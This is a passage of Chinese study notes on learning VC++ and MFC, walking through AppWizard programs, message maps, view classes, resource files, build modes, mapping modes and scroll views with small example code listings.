C++、Delphi、C++Builder、VB......），VC/MFC应该不同武功其中的一种，不同的学习方法效果不一样，只要下工夫也都可以达到一定的境界。真正的高手是有着深厚的内功，扎实的基本功，至于武功招数无所谓了，随便一站不丁不八全无破绽，无招胜有招了。对不住扯远了。<br /><br />　　C++可以通过类库来进行扩展，我们除了可以使用随编译器提供的类库外还可以很方便使用软件公司销售的类库产品，甚至可以自己开发。而应用程序框架是一种类库的超集，它定义了程序的结构。<br /><br />下面给出两个示例程序（一个是书上的一个是我写的）：<br /><br />　　雷神建议：虽然现在很多书都附CD，CD上有书中所有示例的源代码，但还是应该亲自在VC6用手敲进去。这样可以加深印象以及感受一下编译除错后程序正确运行时的乐趣，因为是纯手工打造。自从我敲了近一百个代码示例后，由于笔误的BUG就很少了，打字速度也提高了。而且最好在原示例代码的基础上做些改动例如别千篇一律的显示HELLO WORLD！换点别的，这样做也可以加深对示例程序的理解。<br />　　我的HELLO WORLD用AppWizard向导创建一个显示一个字符串的单文档程序，只需要敲入一行语句，主要是体验MFC的强大功能。<br /><br />1、打开VC++6从菜单选择NEW，给项目命名为”MyApp01“。<br /><br />2、选择MFC AppWizard[exe] 选项，除STEP 1选择单文档外其他STEP缺省。<br /><br />3、在Class View选择CMyApp01View类的OnDraw()成员函数双击会在C++编译器看到以下内容<br /><br />void CMyApp01View::OnDraw(CDC* pDC)<br />{<br />CMyApp01Doc* pDoc = GetDocument();<br />ASSERT_VALID(pDoc);<br />// TODO: add draw code for native data here<br />}<br />在 // TODO: add draw code for native data here的位置增加一行代码<br />void CMyApp01View::OnDraw(CDC* pDC)<br />{<br />CMyApp01Doc* pDoc = GetDocument();<br />ASSERT_VALID(pDoc);<br />pDC-&gt;TextOut(10,10,"雷神愿意和所有学VC的朋友共同进步！"); //&lt;-----------增加的一行<br />// TODO: add draw code for native data here<br />}<br /><br />　　完了，就这么简单。编译运行。看到了吗？这个程序具备WINDOWS程序的所有特性，例如有菜单、工具条、状态栏、最大化、关闭、甚至还有关于对话框、打印预览.....全了，这就是AppWizard通过MFC动态创建的一个应用程序。从这个小例子可以看出用VC/MFC设计WINDOWS程序多么方便。下面我们看看书上的例子，以便更进一步了解应用程序框架。<br /><br />书上的例子：<br /><br />1、先建立一个Win32 Application的应用程序。<br /><br />2、选择Project-&gt;Add to project-&gt;Files,分别创建一个名为MyApp.h和一个名为MyApp.cpp的文件。<br /><br />3、添加代码：（最好照敲以下代码到编译器，别用Ctrl+C/Ctrl+V）<br /><br />//***********************************************<br />// MyApp.h <br />//<br /><br />class CMyApp:public CWinApp //见下②<br />{<br />public:<br />virtual BOOL InitInstance();<br />};<br /><br />class CMyFrame:public CFrameWnd<br />{<br />public:<br />CMyFrame();<br />protected:<br />afx_msg void OnLButtonDown(UINT nFlags,CPoint point);<br />afx_msg void OnPaint();<br />DECLARE_MESSAGE_MAP()<br />};<br /><br />//*****************************************************<br />// MyApp.cpp<br />//<br /><br />#include "afxwin.h"<br />#include "myapp.h"<br />CMyApp theApp;//建立一个CMyAPP对象见下②<br /><br />BOOL CMyApp::InitInstance ()<br />{<br />m_pMainWnd=new CMyFrame();<br />m_pMainWnd-&gt;ShowWindow (m_nCmdShow);<br />m_pMainWnd-&gt;UpdateWindow ();<br />return TRUE;<br />}<br /><br />BEGIN_MESSAGE_MAP(CMyFrame,CFrameWnd)<br />ON_WM_LBUTTONDOWN()<br />ON_WM_PAINT()<br />END_MESSAGE_MAP()<br /><br />CMyFrame::CMyFrame(){<br />Create(NULL,"MYAPP Application");<br />}<br />void CMyFrame::OnLButtonDown (UINT nFlags,CPoint point)<br />{<br />TRACE("Entering CMyFrame::OnLButtonDown - %lx,%d,%d\n",<br />(long)nFlags,point.x ,point.y);<br />}<br /><br />void CMyFrame::OnPaint ()<br />{<br />CPaintDC dc(this);<br />dc.TextOut (0,0,"Hello World!");<br />}<br /><br />4、编译运行，报错。为什么呢？原来还没有添加MFC的支持，在Project Setting选项General属性页选择”Use MFC in a Static Library"<br /><br />5、再Ctrl+F5,哈成功了。<br /><br />让我们看看这个程序中的一些元素。<br /><br />①WinMain函数：并非不存在只是已经被隐藏在应用程序框架内部。<br /><br />②CMyApp类：CMyApp类的对象代表一个应用程序，CWinApp基类决定它的大部分行为。<br /><br />③应用程序的启动：当开始运行应用程序时WINDOWS会调用WinMain函数，WinMain会查找该应用程序的全局对象theApp。<br /><br />④CMyApp::InitInstance成员函数：发现theApp后自动调用重载的虚函数InitInstance来完成主窗口的构造和显示工作。记住这个函数。<br /><br />⑤CWinApp::Run成员函数：WinMain在调用InitInstance之后紧接着调用Run函数，它被隐藏在基类中负责传递应用程序的消息给相映的窗口。（我把它理解为好象SDK的窗口的过程函数不知对不对）<br /><br />⑥CMyFrame类：此类的对象代表着应用程序的主窗口。它的构造函数调用基类CFrameWnd的Create函数创建具体的窗口结构。<br /><br />⑦CMyFrame::OnLButtonDown函数：演示消息处理机制，当鼠标坐键被按下这一事件被映射到CMyFrame的OnLButtonDown函数上，如果你选择F5进行编译运行的话可以在调试窗口看到TRACE宏显示的类似下面的信息<br />Entering CMyFrame::OnLButtonDown - 1,309,119<br />Entering CMyFrame::OnLButtonDown - 1,408,221<br /><br />⑧CMyFrame::OnPaint函数：应用程序每次重新绘制窗口都需要调用此函数，将显示"Hello World!"放在这里是因为每次窗口发生变化时保证"Hello World!"被显示，你可以试着将语句：<br />CPaintDC dc(this);<br />dc.TextOut (0,0,"Hello World!");<br /><br />写在别出，例如写在<br /><br />void CMyFrame::OnLButtonDown (UINT nFlags,CPoint point)<br />{<br />TRACE("Entering CMyFrame::OnLButtonDown - %lx,%d,%d\n",<br />(long)nFlags,point.x ,point.y);<br />CPaintDC dc(this);<br />dc.TextOut (0,0,"Hello World!");<br />}<br /><br />运行后当点击左键时显示"Hello World!"，但当窗口最小化再最大化时"Hello World!"不见了。<br /><br />⑧关闭应用程序：用户关闭应用程序时会有一系列事件发生。首先CMyFrame对象被删除，然后退出Run，进而退出WinMain，最后删除CMyApp对象。<br /><br />　　通过上面的示例我们看见程序的大部分功能包含在基类CWinApp和CFrameWnd中，我们只写了很少的函数，便可以完成很复杂的功能。所以应用程序框架不仅仅是一种类库，它还定义了应用程序的结构，除了基类外还包括WinMain函数，以及用来支持消息处理、诊断、DLL、等都包含在应用程序框架中。<br /><br />第三篇：消息映射和视图类<br /><br />　　在写了两篇笔记后有很多朋友给我发信，和我交流一些在学习过程中的问题。但由于我也是一个初学者，对一些问题自己也没有把握，所以实在不敢做答，但我会尽量尽我所能和大家一起研究，谢谢大家的鼓励和信任。<br /><br />　　在开始先补充一下上一篇的内容“内容窗口的创建”，兼答天歌网友的问题（如果天歌兄弟能看到的话 ）。为了简化我们看一个更简单代码，只有一个文件，创建一个空白的窗口，什么也不做。注意哦：真写程序时还是要分成.h和.cpp两个文件比较清晰。<br />　　前几步和『VC++技术内幕』学习笔记（2）中的一样，下面是代码：<br /><br />//**********************************<br />// MyApp.cpp <br /><br />#include "afxwin.h" //afxwin.h会调用windows.h是MFC编程的途径，只要用到MFC就一定要包含它。<br /><br />class CMyApp:public CWinApp //从CWinApp继承一个类<br />{<br />public:<br />virtual BOOL InitInstance();//重载InitInstance虚函数<br />};<br /><br />class CMyFrame:public CFrameWnd //从CFrameWnd继承一个类<br />{};<br /><br /><br />CMyApp myApp; //最后又激活应用程序的构造函数<br /><br />BOOL CMyApp::InitInstance () <br />{<br />m_pMainWnd=new CMyFrame; <br />//new 激活了CMyFrame类构造函数CFrameWnd()，构造函数调又用CREATE()<br />//m_pMainWnd在MFC的定义CWnd* m_pMainWnd;// main window (usually same AfxGetApp()-&gt;m_pMainWnd)<br />//m_pMainWnd保存窗口的位置<br />((CMyFrame * )m_pMainWnd)-&gt;Create(NULL,"一个MFC应用程序：空白窗口"); //创建窗口<br />m_pMainWnd-&gt;ShowWindow(m_nCmdShow); //显示在屏幕上<br />return TRUE;<br />}<br /><br />　　如果还不明白建议查看MSDN或看看侯大师的深入浅出。关于这个问题就说到这，最后对天歌朋友的学习态度表示敬意。<br />下面进入正体，让我们继续来看看MFC的消息映射。<br /><br />　　MFC是通过一些宏来将特定的消息影射到派生类相应的成员函数上，这种体制的好处是允许某些非窗口类（如文档类）来控制命令消息。且不需要C++作任何扩展。<br />　　MFC的消息控制函数要求提供函数原形、函数体以及消息映射中的入口。真的很麻烦，还好用Class Wizard可以很容易的将上面说到的东西加到我们的类中。例如只要在Class Wizard中添加WM_LBUTTONDOWN消息,则相应的代码便加在合适的地方。怎么样简单多了吧。<br />　　应用程序除了包含应用程序框架类外，一般还要包含文档和视图类。这种文档-视图结构是应用框架的核心。我一直做MIS开发，当然不是用VC用的是VB，所以看到这我很不自觉的想到了后台数据库和界面的关系，这个例子可能不是很恰当，但却能很好的帮助我们理解文档和视图。文档好比后台的数据库，视图就是界面上显示的内容，同一个数据库可以用不同的界面显示，但由于所有的界面内容都是从数据库中数据得来，所以当数据库发生变化时所有的相关界面显示都会跟着改变。越来越觉得不恰当，不过实在想不出别的例子了。我们的应用程序实际上就是通过视图对文档进行一系列操作，不单指输出。下面我们看看视图类。<br />　　视图是一个从CView类派生的类的对象，在屏幕上显示的窗口就是一种。对象的行为完全由类的成员函数和数据成员决定，其中及包括派生类中的特定函数，也包括基类的标准函数，所以了解MFC类库的结构以及各类的标准成员函数是多么重要啊，别怕麻烦找来MFC的源码读读，看多少算多少，但肯定不白看，这是雷神的经验。<br /><br />记得上一篇的我的例子吗<br /><br />1、打开VC++6从菜单选择NEW，给项目命名为”MyApp01“。<br />2、选择MFC AppWizard[exe] 选项，除STEP 1选择单文档外其他STEP缺省。<br />此时MFC应用程序框架便帮我们完成了应用程序，你可以执行它，它会在屏幕上显示一个典型的WINDOWS风格的空白窗口。<br /><br />我们来看一下项目程序所在目录下的文件：<br /><br />myapp01.dsp //项目文件<br />myapp01.dsw //工作空间文件<br />myapp01.rc //资源描述文件<br />myapp01View.cpp //包含CMyAppView类成员函数的视图类实现文件 重点<br />myapp01View.h //包含CMyAppView类成员函数的视图类头文件 重点<br />myapp01.opt //二进制文件，告诉Developer Studio本项目的哪些文件是打开的，又是如何排列的<br />readme.txt //用来解释所产生的所有文件，未列出的myapp01Doc.cpp、myapp01Doc.h、StdAfx.cpp、StdAfx.h....在这里都可以找到相应解释。<br />resource.h //包含#define常量定义的头文件<br /><br />　　仔细研究一下myapp01View.cpp和myapp01View.h文件，程序核心CMyAppView类在这两个文件中定义，就是我们今天要学的视图类。要想看到CMyAppView类的全貌，应该用Source Browser查看，选择CMyApp01View，按Alt+F12，选择Base Class and Members 选项。我们会看到CMyAppView类的层次关系（从哪来得），以及所有成员函数，包括从基类继承的（在Class View中不能显示父类的成员函数）。我们发现实际上你什么也不用做就拥有了一个有着强大功能的类。<br />下面我们看一下CMyAppView类的OnDraw成员函数，它是虚函数作用是每当窗口需重绘时应用程序框架会调用它。它的原型是这样的（在myapp01View.h可以找到）<br /><br />virtual void OnDraw(CDC* pDC); // overridden to draw this view<br /><br />　　参数是CDC类的指针，WINDOWS是通过和窗口相关联的设备环境（CDC类的对象就是设备环境）和显示硬件进行通讯。有了这个指针我们便可以调用CDC类的成员函数来完成各种绘制工作，如上一篇用到的textout()还有一些Ellipse()、Polygon()、BitBlt()等等在MSDN中有好长的一篇，它是直接从CObject派生的，好了我们开始在OnDraw()里添加一些绘图工作。<br /><br />3、在Class View选择CMyApp01View类的OnDraw()成员函数双击会在C++编译器看到以下内容<br /><br />void CMyApp01View::OnDraw(CDC* pDC)<br />{<br />CMyApp01Doc* pDoc = GetDocument();<br />ASSERT_VALID(pDoc);<br />// TODO: add draw code for native data here<br />}<br />在 // TODO: add draw code for native data here的位置增加一行代码<br />void CMyApp01View::OnDraw(CDC* pDC)<br />{<br />CMyApp01Doc* pDoc = GetDocument();<br />ASSERT_VALID(pDoc);<br />pDC-&gt;TextOut(10,10,"雷神愿意和所有学VC的朋友共同进步！"); <br />pDC-&gt;SelectStockObject (DKGRAY_BRUSH); //选择刷子<br />pDC-&gt;Ellipse (CRect(20,40,120,140)); //画圆，CRect是MFC库提供的一个表示WINDOWS矩形类<br />pDC-&gt;Rectangle (CRect(220,240,120,140)); //画矩形<br />// TODO: add draw code for native data here<br />}<br /><br />编译运行，成功了吧。先到这吧。另外以后的文章将同时贴在写作区。<br /><br />第四篇：资源和编译<br /><br />　　资源文件（就是以应用程序名和扩展名是.rc的文件）很大程度上决定了应用程序的用户界面。在VC++中资源文件包括以下内容：<br /><br />Accelerator //模拟菜单和工具栏的选择内容<br />Dialog //对话框的布局及内容<br />Icon //图标有两种一种是16X16一种是32X32。<br />Menu //应用程序的主菜单及所属的弹出式菜单<br />String table //字符串不属于C++源代码部分<br />Toolbar //工具条。<br />Version //程序的描述、版本号、支持语言信息。<br /><br />以上信息都在.rc文件中包含，同时.rc文件还包含了以下语句：<br /><br />#include "afxres.h"<br />#include "afxres.rc"<br /><br />　　它们的作用是把适合于所有应用程序的一些通用MFC库资源包含进来。<br /><br />　　关于资源编辑器的使用就不多说了，因为它的操作很简单，需要注意的是虽然resource.h是一个ASCII码文件可以用文本编辑器进行编辑，单如果使用文本编辑器进行编辑的话，下次再使用资源编辑器时所做的修改有可能丢失，所以我们应该在尽量在资源编辑器中编辑应用程序的资源，新增的资源内容回自动的添加在我们的程序相应位置，例如resource.h而不用我们操心。这便是为什么称为Visual （可视）的原因之一。<br /><br />　　编译在VC++中有两种模式，一种是Release Build另一种是Debug Build。它们之间的区别在于，Release Build不对源代码进行调试，不考虑MFC的诊断宏，使用的是MFC Release库，编译十对应用程序的速度进行优化，而Debug Build则正好相反，它允许对源代码进行调试，可以定义和使用MFC的诊断宏，采用MFC Debug库，对速度没有优化。所以我们应该在Debug模式下开发应用程序，然后在Release模式下发布应用程序。在我们的工程文件夹下会有一个Debug文件夹和一个Release文件夹分别存放输出文件和中间文件。<br /><br />　　诊断宏是我们编译程序时检测程序状态的有利工具，例如上两篇用到的TRACE宏，可以在Debug窗口获得你需要的诊断信息，而不用设置对话框之类的方法，在发布时Release会自动滤掉此信息。<br /><br />　　实际上对一个应用程序的调式是一件很具挑战的工作，我相信我们都有类似的经历，从网上或书本上找来了一段代码或源程序，当我们一点点将他们敲进 Deleloper Studio后进行编译时一下子出现了无数的错误和警告，（有些书的源代码就是错误的）这是需要的耐心和经验，有了VC++提供的调试工具如诊断宏、设断点、单步执行等等，会让我们省不少力气。至于编译的话题其实应该有很多可以说，但由于雷神本身的经验不足只能把书上所讲的作一个总结，大家应该熟练的掌握VC++为我们提供的的各种调试工具，象SPY之类的工具在MSDN中也有很详细的使用帮助说明，到现在我体会到了高手们所说的MSDN是最好的最全的也是最权威的。<br /><br />第五篇：基本事件处理<br /><br />　　我们已经知道MFC库应用程序框架调用CView视图类的虚函数OnDraw来完成屏幕显示。其实CView和CWnd类包含了几百个成员函数，在MSDN中可以看到这些成员函数，其中有许多On开头的，例如第二篇的例子就有一个OnLButtonDown，它们都是应用程序框架响应各种事件所需调用的函数。<br />　　OnDraw便是当窗口发生变化是被调用的，OnLButtonDown是鼠标左键被按下时调用，还有OnKeyDown是键盘被按下时调用等等。<br /><br />　　当用户在视窗中按下鼠标左键时，Windows会自动发送WM_LBUTTONDOWN消息给该视窗，当然你可以什么都不做象我们第3篇的例子一样，如果你想要让程序对此消息做出反应就必须在视图类给出相应的函数，类似下面这样：<br /><br />void CMyView::OnLButtonDown(UINT nFlags,CPoint point)<br />{<br />//做些事情的代码<br />}<br /><br />还需要在类头文件包含相应的函数原型说明<br /><br />afx_msg void OnLButtonDown(UINT nFlags,CPoint point);<br /><br />afx_msg只是说明该函数原型是针对消息映射函数。下一步在代码文件中还需要有一个消息映射宏，作用是把OnLButtonDown函数和应用程序框架联系在一起。<br /><br />BEGIN_MESSAGE_MAP(CMyView,CView)<br />ON_WM_LBUTTONDOWN<br />END_MESSAGE_MAP()<br /><br />最后在类库的头文件还需包含：<br /><br />DECLARE_MESSAGE_MAP()<br /><br />　　函数和Windows消息的对应关系可以从MSDN中找到在MSDN中索引输入（WM_ Messages）便会列出所有的Windows消息和消息控制函数原型。在实际的编程过程中我们不可能全部都用手工的添加或编制消息控制函数。除了一些特殊的，我们一般是借助Class Wizard来自动编制消息映射函数。这又是MFC应用程序框架比起SDK来的有一个便捷的地方。<br /><br />第六篇：映射模式<br /><br />　　在此篇之前我们已经学会了在窗口显示图形，更准确的说是在窗口指定位置显示图形或文字，我们使用的坐标单位是象素，称之为设备坐标。看下面语句：<br /><br />pDC-&gt;Rectangle(CRect(0,0,200,200));<br /><br />　　画一个高和宽均为200个象素的方块，因为采用的是默认的MM_TEXT映射模式，所以在设备环境不一样时，画的方块大小也不一样，在1024*768的显示器上看到的方块会比640*480的显示器上的小（在不同分辨率下的屏幕象素，在WINDOWS程序设计一书中有示例程序可以获得，或者可以用GetClientRect函数获得客户区的矩形大小。在这里就不说了，大家只要知道就行了），在输出到打印机时也会有类似的情况发生。如何做才能保证在不同设备上得到大小一致的方块或者图形、文字呢？就需要我们进行选择模式映射，来转换设备坐标和逻辑坐标。<br /><br />Windows提供了以下几种映射模式：<br /><br />MM_TEXT<br />MM_LOENGLISH<br />MM_HIENGLISH<br />MM_LOMETRIC<br />MM_HIMETRIC<br />MM_TWIPS<br />MM_ISOTROPIC<br />MM_ANISOTROPIC<br /><br />下面分别讲讲这几种映射模式：<br /><br />MM_TEXT：<br /><br />　　默认的映射模式，把设备坐标被映射到象素。x值向右方向递增；y值向下方向递增。坐标原点是屏幕左上角（0，0）。但我们可以通过调用CDC的SetViewprotOrg和SetWindowOrg函数来改变坐标原点的位置看下面两个例子：<br /><br />//************************************************<br />// 例子6-1<br />void CMyView::OnDraw(CDC * pDC)<br />{<br />pDC-&gt;Rectangle(CRect(0,0,200,200));//全部采用默认画一个宽和高为200象素的方块<br />}<br /><br />//**************************************************<br />// 例子6-2<br />void CMyView::OnDraw(CDC * pDC)<br />{<br />pDC-&gt;SetMapMode(MM_TEXT);//设定映射模式为MM_TEXT<br />pDC-&gt;SetWindowOrg(CPoint(100,100));//设定逻辑坐标原点为（100，100）<br />pDC-&gt;Rectangle(CRect(100,100,300,300));//画一个宽和高为200象素的方块<br />}<br /><br />　　这两个例子显示出来的图形是一样的，都是从屏幕左上角开始的宽和高为200象素的方块，可以看出例子2将逻辑坐标（100，100）映射到了设备坐标（0，0）处，这样做有什么用？滚动窗口使用的就是这种变换。<br /><br />固定比例映射模式：<br /><br />MM_LOENGLISH、MM_HIENGLISH、MM_LOMETRIC、MM_HIMETRIC、MM_TWIPS这一组是Windows提供的重要的固定比例映射模式。<br /><br />它们都是x值向右方向递增，y值向下递减，并且无法改变。它们之间的区别在于比例因子见下：（我想书上P53页肯定是印错了，因为通过程序实验x值向右方向也是递增的）<br /><br />MM_LOENGLISH 0.01英寸<br />MM_HIENGLISH 0.001英寸<br />MM_LOMETRIC 0.1mm<br />MM_HIMETRIC 0.01mm<br />MM_TWIPS 1/1440英寸 //应用于打印机，一个twip相当于1/20磅，一磅又相当于1/72英寸。<br /><br />看例3<br /><br />//**************************************************<br />// 例子6-3<br />void CMyView::OnDraw(CDC * pDC)<br />{<br />pDC-&gt;SetMapMode(MM_HIMETRIC);//设定映射模式为MM_HIMETRIC<br />pDC-&gt;Rectangle(CRect(0,0,4000,-4000));//画一个宽和高为4厘米的方块<br />}<br /><br />　　还有一种是可变比例映射模式，MM_ISOTROPIC、MM_ANISOTROPIC。用这种映射模式可以做到当窗口大小发生变化时图形的大小也会相应的发生改变，同样当翻转某个轴的伸展方向时图象也会以另外一个轴为轴心进行翻转，并且我们还可以定义任意的比例因子，怎么样很有用吧。<br />MM_ISOTROPIC、MM_ANISOTROPIC两种映射模式的区别在于MM_ISOTROPIC模式下无论比例因子如何变化纵横比是1：1而M_ANISOTROPIC模式则可以纵横比独立变化。<br /><br />让我们看例子4<br /><br />//**************************************************<br />// 例子6-4<br />void CMy002View::OnDraw(CDC* pDC)<br />{<br />CRect rectClient; //<br />GetClientRect(rectClient);//返回客户区矩形的大小<br />pDC-&gt;SetMapMode(MM_ANISOTROPIC);//设定映射模式为MM_ANISOTROPIC<br />pDC-&gt;SetWindowExt(1000,1000);<br />pDC-&gt;SetViewportExt (rectClient.right ,-rectClient.bottom );<br />//用SetWindowExt和SetViewportExt函数设定窗口为1000逻辑单位高和1000逻辑单位宽<br />pDC-&gt;SetViewportOrg(rectClient.right/2,rectClient.bottom/2 );//设定逻辑坐标原点为窗口中心<br />pDC-&gt;Ellipse(CRect(-500,-500,500,500));//画一个撑满窗口的椭圆。<br />// TODO: add draw code for native data here<br />}<br /><br />怎么样，屏幕上有一个能跟随窗口大小改变而改变的椭圆。把 pDC-&gt;SetMapMode(MM_ANISOTROPIC)；这句改为pDC-&gt;SetMapMode(MM_ISOTROPIC)会怎样？大家可以试试。那还有一个问题就是上例的比例因子是多少呢？看下面公式（注意是以例子4为例的）<br /><br />x比例因子=rectClient.right/1000 //视窗的宽除以窗口范围<br />y比例因子=-rectClient.bottom/1000 //视窗的高除以窗口范围<br /><br />　　从Windows的鼠标消息可以获得鼠标指针的当前坐标值（point.x和point.y）此坐标值是设备坐标。<br /><br />很多MFC库函数尤其是CRect的成员函数只能工作在设备坐标下。<br />还有我们有时需要利用物理坐标，物理坐标的概念就是现实世界的实际尺寸。<br />设备坐标-逻辑坐标-物理坐标之间如何进行转换便成为我们要考虑的一个问题，物理坐标和逻辑坐标是完全要我们自己来做的，但WINDOWS提供了函数来帮助我们转换逻辑坐标和设备坐标。<br /><br />CDC的LPtoDP函数可以将逻辑坐标转换成设备坐标<br />CDC的DPtoLP函数可以将设备坐标转换成逻辑坐标<br /><br />下面列出我们应该在什么时候使用什么样的坐标系一定要记住：<br /><br />◎CDC的所有成员函数都以逻辑坐标为参数<br />◎CWnd的所有成员函数都以设备坐标为参数<br />◎区域的定义采用设备坐标<br />◎所有的选中测试操作应考虑使用设备坐标。<br />◎需要长时间使用的值用逻辑坐标或物理坐标来保存。因设备坐标会因窗口的滚动变化而改变。<br />用书上的例子作为以前几篇的复习，如果你能够独立完成它说明前面的内容已经掌握。另外有些东西是新的，我会比较详细的做出说明，例如客户区、滚动窗口等。<br /><br />下面我们来一步步完成例子6-5：<br /><br />■第徊剑河肁ppWizard创建MyApp6。除了Setp 1 选择单文档视图和Setp 6 选择基类为CScrollView外其余均为确省。 <br /><br />■第二步：在CMyApp6View类中增加m_rectEllipse和m_nColor两个私有数据成员。你可以手工在myapp6View.h添加，不过雷神建议这样做，在ClassView中选中CMyApp6View类，击右键选择Add Member Variable插入它们。<br /><br />//**************************<br />// myapp6View.h<br />private:<br />int m_nColor; //存放椭圆颜色值<br />CRect m_rectEllipse; //存放椭圆外接矩形<br /><br />//***************************************************<br /><br />问题1：CRect是什么？<br />CRect是类，是从RECT结构派生的，和它类似的还有从POINT结构派生的CPoint、从SIZE派生的CSize。因此它们继承了结构中定义的公有整数数据成员，并且由于三个类的一些操作符被重载所以可以直接在三个类之间进行类的运算。<br />//重载operator +<br />CRect operator +( POINT point ) const;<br />CRect operator +( LPCRECT lpRect ) const;<br />CRect operator +( SIZE size ) const;<br />//重载operator -<br />CRect operator -( POINT point ) const;<br />CRect operator -( SIZE size ) const;<br />CRect operator -( LPCRECT lpRect ) const;<br />......<br />更多的请在MSDN中查看<br /><br />■第三步：修改由AppWizard生成的OnIntitalUpdate函数<br /><br />void CMyApp6View::OnInitialUpdate()<br />{<br />CScrollView::OnInitialUpdate();<br />CSize sizeTotal(20000,30000);<br />CSize sizePage(sizeTotal.cx /2,sizeTotal.cy /2);<br />CSize sizeLine(sizeTotal.cx /50,sizeTotal.cy/50);<br />SetScrollSizes(MM_HIMETRIC,sizeTotal,sizePage,sizeLine);//设置滚动视图的逻辑尺寸和映射模式<br />}<br /><br />问题2：关于void CMyApp6View::OnInitialUpdate()<br /><br />函数OnInitialUpdate()是一个非常重要的虚函数，在视图窗口完全建立后框架用的第一个函数，框架在第一次调用OnDraw前会调用它。因此这个函数是设置滚动视图的逻辑尺寸和映射模式的最佳地点。<br /><br />■第四步：编辑CMyApp6View构造函数和OnDraw函数<br /><br />//*********************************************<br />// CMyApp6View构造函数<br />//<br />CMyApp6View::CMyApp6View():m_rectEllipse(0,0,4000,-4000)//椭圆矩形为4*4厘米。<br />{<br />m_nColor=GRAY_BRUSH;//设定刷子颜色<br />}<br /><br />//*********************************************<br />// CMyApp6View的OnDraw函数<br />//<br />void CMyApp6View::OnDraw(CDC* pDC)<br />{<br />pDC-&gt;SelectStockObject (m_nColor);<br />pDC-&gt;Ellipse(m_rectEllipse); <br />}<br /><br />问题3：<br /><br />CMyApp6View::CMyApp6View():m_rectEllipse(0,0,4000,-4000)为什么不能这样写：<br />CMyApp6View::CMyApp6View()<br />{<br />m_rectEllipse(0,0,4000,-4000)；<br />m_nColor=GRAY_BRUSH;<br />}<br /><br />我从CSDN上得到的答案：两者实际上没有区别。有两个原因使得我们选择第一种语法，它被称为成员初始化列表：<br /><br />一个原因是必须的，另一个只是出于效率考虑。 <br />　　让我们先看一下第一个原因——必要性。设想你有一个类成员，它本身是一个类或者结构，而且只有一个带一个参数的构造函数。 <br /><br />class CMember { <br />public: <br />　　CMember(int x) { ... } <br />}; <br /><br />　　因为Cmember有一个显式声明的构造函数， 编译器不产生一个缺省构造函数（不带参数），所以没有一个整数就无法创建Cmember的一个实例。 <br /><br />CMember* pm = new CMember(2);　　 // OK <br />　　如果Cmember是另一个类的成员， 你怎样初始化它呢？你必须使用成员初始化列表。 <br />class CMyClass { <br />　　CMember m_member; <br />public: <br />　　CMyClass(); <br />}; <br />//必须使用成员初始化列表 <br />CMyClass::CMyClass() : m_member(2) <br />{ <br />} <br /><br />　　没有其它办法将参数传递给m_member，如果成员是一个常量对象或者引用也是一样。根据C++的规则，常量对象和引用不能被赋值， 它们只能被初始化。 <br />　　第二个原因是出于效率考虑，当成员类具有一个缺省的构造函数和一个赋值操作符时。MFC的Cstring提供了一个完美的例子。假定你有一个类CmyClass具有一个Cstring类型成员m_str，你想把它初始化为"yada yada."。你有两种选择： <br /><br />CMyClass::CMyClass() { <br />　　// 使用赋值操作符 <br />　　// CString::operator=(LPCTSTR); <br />　　m_str = _T("yada yada"); <br />} <br />//使用类成员列表 <br />// and constructor CString::CString(LPCTSTR) <br />CMyClass::CMyClass() : m_str(_T("yada yada")) <br />{ <br />} <br /><br />　　在它们之间有什么不同吗？是的。编译器总是确保所有成员对象在构造函数体执行之前初始化，因此在第一个例子中编译的代码将调用CString::Cstring来初始化m_str，这在控制到达赋值语句前完成。在第二个例子中编译器产生一个对CString:: CString(LPCTSTR)的调用并将"yada yada" 传递给这个函数。结果是在第一个例子中调用了两个Cstring函数（构造函数和赋值操作符），而在第二个例子中只调用了一个函数。在Cstring的例子里这是无所谓的，因为缺省构造函数是内联的，Cstring只是在需要时为字符串分配内存（即，当你实际赋值时）。但是，一般而言，重复的函数调用是浪费资源的，尤其是当构造函数和赋值操作符分配内存的时候。在一些大的类里面，你可能拥有一个构造函数和一个赋值操作符都要调用同一个负责分配大量内存空间的Init函数。在这种情况下，你必须使用初始化列表，以避免不要的分配两次内存。在内部类型如ints或者longs或者其它没有构造函数的类型下，在初始化列表和在构造函数体内赋值这两种方法没有性能上的差别。不管用那一种方法，都只会有一次赋值发生。有些程序员说你应该总是用初始化列表以保持良好习惯，但我从没有发现根据需要在这两种方法之间转换有什么困难。在编程风格上，我倾向于在主体中使用赋值，因为有更多的空间用来格式化和添加注释，你可以写出这样的语句：x=y=z=0; 或者memset(this,0,sizeof(this)); 注意第二个片断绝对是非面向对象的。 <br /><br />　　当我考虑初始化列表的问题时，有一个奇怪的特性我应该警告你，它是关于 C++初始化类成员的，它们是按照声明的顺序初始化的，而不是按照出现在初始化列表中的顺序。<br /><br />class CMyClass { <br />　　CMyClass(int x, int y); <br />　　int m_x; <br />　　int m_y; <br />}; <br />CMyClass::CMyClass(int i) : m_y(i), m_x(m_y) <br />{ <br />} <br /><br />　　你可能以为上面的代码将会首先做m_y=I，然后做m_x=m_y，最后它们有相同的值。但是编译器先初始化m_x，然后是m_y，因为它们是按这样的顺序声明的。结果是m_x将有一个不可预测的值。 我的例子设计来说明这一点，然而这种bug会更加自然的出现。有两种方法避免它， 一个是总是按照你希望它们被初始化的顺序声明成员，第二个是，如果你决定使用初始化列表，总是按照它们声明的顺序罗列这些成员。这将有助于消除混淆。 <br /><br />■第五步：映射WM_LBUTTONDOWN消息并编辑OnLButtonDown消息处理函数。在Class Wizard中选择CMyApp6View类，在Message列表中选择WM_LBUTTONDOWN双击，则此消息映射便完成了。用下面代码替换Wizard生成的OnLButtonDown消息处理函数。<br /><br />void CMyApp6View::OnLButtonDown(UINT nFlags, CPoint point) <br />{<br />CClientDC dc(this);<br />OnPrepareDC(&amp;dc);<br />CRect rectDevice = m_rectEllipse;<br />dc.LPtoDP(rectDevice);<br />if (rectDevice.PtInRect(point)) { <br />if (m_nColor == GRAY_BRUSH) {<br />m_nColor = WHITE_BRUSH;<br />}<br />else{<br />m_nColor = GRAY_BRUSH;<br />}<br />InvalidateRect(rectDevice);<br />}<br />}<br /><br />问题4：详解此段代码<br /><br />第1行 CClientDC由CDC派生，它的对象dc是当前窗口的客户区域<br />第2行 OnPrepareDC是在OnDraw函数前调用的。<br />第3行 将m_rectEllipse赋给rectDevice矩形区域<br />第4行 将矩形区域的逻辑坐标转为设备坐标，LPtoDP是CDC类的成员函数，且是多态的，函数声明如下：<br /><br />void LPtoDP( LPPOINT lpPoints, int nCount = 1 ) const;<br />void LPtoDP( LPRECT lpRect ) const;<br />void LPtoDP( LPSIZE lpSize ) const;<br /><br />第5-11行 